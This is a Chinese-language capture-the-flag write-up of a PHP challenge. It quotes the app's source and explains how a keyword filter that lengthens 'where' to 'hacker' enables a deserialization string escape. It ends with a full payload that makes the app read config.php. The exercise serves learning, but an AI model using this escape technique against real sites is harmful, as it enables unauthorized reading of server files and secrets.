我尝试了几种payload,发现有两种情况。
第一种:Invalid user name
第二种:Invalid user name or password
第一步想到的是盲注或者报错,因为fuzz一波有一些是没有过滤掉的。
对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。
先不管,用字典扫一遍扫到源码直接下载下来。
每个文件都看了一遍发现root的username是可以使用的,提示出来是Invalid password
这一段是class.php的源代码
public function filter($string) {
$escape = array(\'\\'\', \'\\\\\');
$escape = \'/\' . implode(\'|\', $escape) . \'/\';
$string = preg_replace($escape, \'_\', $string);
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
这是一段updata.php的代码:
$user->update_profile($username, serialize($profile));
这里是有一段序列化的数据,这意味着我们可以使用一段序列化的数据进行数据的发送,然后这段数据会在后端进行反序列化读取数据。
还有一段数据:
$username = $_SESSION[\'username\'];
if(!preg_match(\'/^\d{11}$/\', $_POST[\'phone\']))
die(\'Invalid phone\');
if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
die(\'Invalid email\');
if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
die(\'Invalid nickname\');
这也是一段过滤的匹配操作。
在update的过程我们可以匹配了,我们传递四个参数,phone,email,nackname,以及photo。
进行正则表达式的过滤,赋予到$profile变量中。
调用ipdate_profile这个自定义的函数进行操作,里面的参数已经被序列化了。
查看一下这个函数,他需要传入username,以及上一步所生成的序列化的profile:
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = \'$username\'";
return parent::update($this->table, \'profile\', $new_profile, $where);
}
看到了是用了filter,就是我们最开始注意到的:
public function filter($string) {
$escape = array(\'\\'\', \'\\\\\');
$escape = \'/\' . implode(\'|\', $escape) . \'/\';
$string = preg_replace($escape, \'_\', $string);
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
既然有序列化,那肯定就有反序列化读取数据的地方,我在profile找到了,以下是profile的源码:
<?php
require_once(\'class.php\');
if($_SESSION[\'username\'] == null) {
die(\'Login First\');
}
$username = $_SESSION[\'username\'];
$profile=$user->show_profile($username);
if($profile == null) {
header(\'Location: update.php\');
}
else {
$profile = unserialize($profile);
$phone = $profile[\'phone\'];
$email = $profile[\'email\'];
$nickname = $profile[\'nickname\'];
$photo = base64_encode(file_get_contents($profile[\'photo\']));
?>
这里使用到了反序列化逃逸,奇怪的知识增加了hhh。
反序列化的逃逸利用到的还是截断欺骗,通过反序列化的逃逸我们能够抛弃院线数据,从而使自己的数据被上传上去。
在phpstudy上验证一下:
<?php
$b = \'a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}\';
var_dump(unserialize($b));
?>
output: array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }
反序列化逃逸:
<?php
//$a = array(\'qsq\', \'mx\', \'test\');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"
$b = \'a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}\';
var_dump(unserialize($b));
?>
output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }
这就是反序列化逃逸。
在这道题中我们的序列化字符可控,长度也是固定的。
flag在config.php当中,我们需要利用反序列化将config.php的flag给打出来,那么意味着,我们要把这段payload想办法插进去,";s:5:"photo";s:10:"config.php";}
这里有个问题,那就是刚开始九个正则表达式长度的限制:
if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
die(\'Invalid nickname\');
这里我们使用数组就可以绕过,但是数组在序列化之后是这样子的: s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"
我们想要之后的序列化成功,我们也需要进行补齐:
所以我们构造的payload应该是这样的:";}s:5:“photo”;s:10:“config.php”;}
这里多了两个字符变成了34个字符。
搞出三十四个空位就是我们当务之需的了最开始我们看到了什么:
public function filter($string) {
$escape = array(\'\\'\', \'\\\\\');
$escape = \'/\' . implode(\'|\', $escape) . \'/\';
$string = preg_replace($escape, \'_\', $string);
$safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
$safe = \'/\' . implode(\'|\', $safe) . \'/i\';
return preg_replace($safe, \'hacker\', $string);
}
就是这里,过滤的地方,加入我们传入where,那么他会替换为hacker,五字节换成了六字节,那么s=6,此时必然有一个字节是不收掌控的,那么我们写34个where,那么他就转换成了34个hacker,原本我们传递的是534+34=204个字节,但是由于转换完之后就是634+34=238个字节,前面的hacker*34把我们设定的204填满了,此时";}s:5:“photo”;s:10:“config.php”;}就成功出来了,实现了逃逸闭合。
此时我们抓包修改,一切就ok了。
payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
最后我们去查看读取的文件取得flag。